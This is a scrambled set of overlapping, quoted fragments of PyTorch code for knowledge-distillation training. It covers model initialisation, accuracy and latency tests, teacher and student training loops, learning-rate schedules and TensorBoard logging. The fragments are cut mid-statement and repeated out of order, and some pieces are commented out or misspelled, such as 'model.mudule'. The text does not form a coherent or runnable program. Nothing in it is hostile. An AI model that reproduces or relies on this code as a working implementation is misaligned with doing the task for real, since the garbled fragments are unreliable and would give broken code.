acc_best:", "batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc =", "= train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100:", "== 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1", "opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if acc >", "test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if", "dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if acc", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs,", "# best_train_acc = train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc", "torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs =", "epochs + 1): print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step() loss_total =", "optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100,", "print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if acc > acc_best: acc_best =", "', i) model.train() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets)", "* 1000) lat = np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005,", "loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j),", "dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with", "torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F", "lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for", "= dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss", "= test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if", "acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best =", "dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs,", "loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1", "loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for", "mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight,", "in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs =", "save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum,", "0 total = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device)", "batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt ,", "scheduler.step() loss_total = 0 batch_cnt = 0 correct = 0 total = 0", "return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay,", "train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for", "= test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc)", "return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum,", "n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i in range(1,", "= criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\",", "+= predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total", "* correct / total return acc, miss def test_model_latency(model, dataset): model.eval() loader =", "dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for batch_idx, (inputs,", "targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _,", "lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)]", "#if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train acc: \",", "in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss() elif", "loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1 + loss2", "#print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss < loss_best[j]:", "= None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device)", "predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v for i in equal_v: if", "% (opt.i, j), acc, i) if acc > accs_best[j]: accs_best[j] = acc students_best[j]", "torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn", "lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx),", "'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs,", "% (idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i)", "test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if", "def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch):", "optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' %", "= inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) train_total", "gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt", "batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion", "(inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs", "j in range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs", "i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 *", "F import torch.backends.cudnn as cudnn import options as opt import os import time", "with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets =", "batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs", "scheduler.step() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader):", "module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not", "lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt", "predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 *", "(idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best", "0 batch_cnt = 0 correct = 0 total = 0 for batch_idx, (inputs,", "= acc model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best", "if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) elif", "best_train_acc = train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc ==", "#_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0", "enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets)", "optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i)", "== 'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total,", "+ 1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total = [0.0] *", "lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD':", "= nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader =", "teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device) for j in range(n): if", "= model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1", "'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i)", "students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best", "outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 * correct /", "== 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 correct = 0", "loss_total/batch_cnt) print(\"test acc: \", acc) if acc > acc_best: acc_best = acc model.module.acc", "loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] * n students_best = [None] *", "enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted =", "correct += predicted.eq(targets).sum().item() acc = 100.0 * correct / total return acc def", "lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best =", "loss_criterion == 'KD' or loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion ==", "init_model(model) for i in range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule ==", "nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j", "return acc, miss def test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'):", "epochs + 1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0", "= model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc", "enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs = model(inputs)", "= epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler =", "weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher", "= test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test", "lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule", "== 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss", "= targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total", "dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None model", "optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler", "== 'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr,", "loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model,", "os import time import sys import numpy as np def init_model(model): for module", "'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs, targets)", "targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg =", "= outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward()", "save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None model =", "step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs *", "inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad():", "- start_time latency.append(time_taken * 1000) lat = np.mean(latency) return lat def train_model_teacher(model_, dataset,", "= acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_,", "loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1) #total +=", "torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum,", "None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad()", "time_taken = time.time() - start_time latency.append(time_taken * 1000) lat = np.mean(latency) return lat", "i) if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j] = students[j].module return students_best,", "torch.backends.cudnn as cudnn import options as opt import os import time import sys", "= optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs + 1): print('epochs ',", "(inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time()", "if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j] = students[j].module return students_best, loss_best", "j), acc, i) if test_loss < loss_best[j]: loss_best[j] = test_loss students_best[j] = students[j].module", "init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias", "= torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer", "train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best", "= targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() -", "opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' %", "= optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp =", "total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0 total = 0", "0 correct = 0 total = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader):", "lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total)", "range(n): students[j].train() loss_total = [0.0] * n batch_cnt = 0 for batch_idx, (inputs,", "',test_loss) if test_loss < loss_best: loss_best = test_loss model.module.loss = test_loss model_best =", "+= targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule", "acc, i) if acc > accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return", "model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization,", "targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss", "== 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt =", "0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'):", "1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt =", "acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \",", "elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01)", "optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct +=", "= 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs =", "(idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best", "students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion == 'l2': criterion =", "= test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_,", "dataset!') latency = [] with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs", "#if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' %", "= None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader =", "scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i)", "j in range(n): students[j].train() loss_total = [0.0] * n batch_cnt = 0 for", "train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in", "acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best:", "model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2", "= None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer", "0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader):", "students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion ==", "model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_,", "* n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD'", "model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD':", "#correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear':", "= test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc)", "enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss =", "= 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion", "inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) train_total +=", "lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 correct =", "optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20,", "== 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda = lambda", "100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc'", "for j in range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp =", "targets = targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1", "'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss =", "in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device)", "total = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets", "(inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs =", "optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs + 1): model.train()", "predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets)", "loss2 = criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule", "n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] *", "= lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in", "loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item()", "i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best: loss_best", "= teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1", "elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = []", "nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers", "range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step() loss_total", "== 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2", "train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs", "outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt", "1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 #batch_cnt =", "dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset,", "loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion", "= 100.0 * correct / total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct", "acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best =", "j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion ==", "outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step()", "loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best: loss_best = test_loss model.module.loss =", "= None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 =", "model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best =", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1)", "torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import options", "+ 1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 #batch_cnt", "loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!')", "loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step()", "def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best =", "== 'step': # scheduler.step() loss_total = 0 #batch_cnt = 0 for batch_idx, (inputs,", "if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct / total", "step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs *", "== 'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total", "= criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step()", "scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' %", "targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss", "teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion == 'CE': loss", "None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device)", "def init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if", "= targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs,", "train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total", "train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc =", "= sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion =", "optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs", "raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for batch_idx, (inputs, targets) in", "scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs + 1): print('epochs", "lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt", "model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken * 1000) lat = np.mean(latency)", "\", acc) if acc > acc_best: acc_best = acc model.module.acc = acc model_best", "predicted.eq(targets).sum().item() #acc = 100.0 * correct / total return loss_total/batch_cnt def test_model_image(model, dataset):", "targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs)", "> best_train_acc: # best_train_acc = train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth')", "teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 =", "_, predicted = outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0", "'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader)", "schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i in range(1, epochs", "= nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif", "= dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0 train_total", "dataset): model.eval() loader = None loss_total = 0 batch_cnt = 0 criterion =", "i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if acc > acc_best: acc_best", "dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, 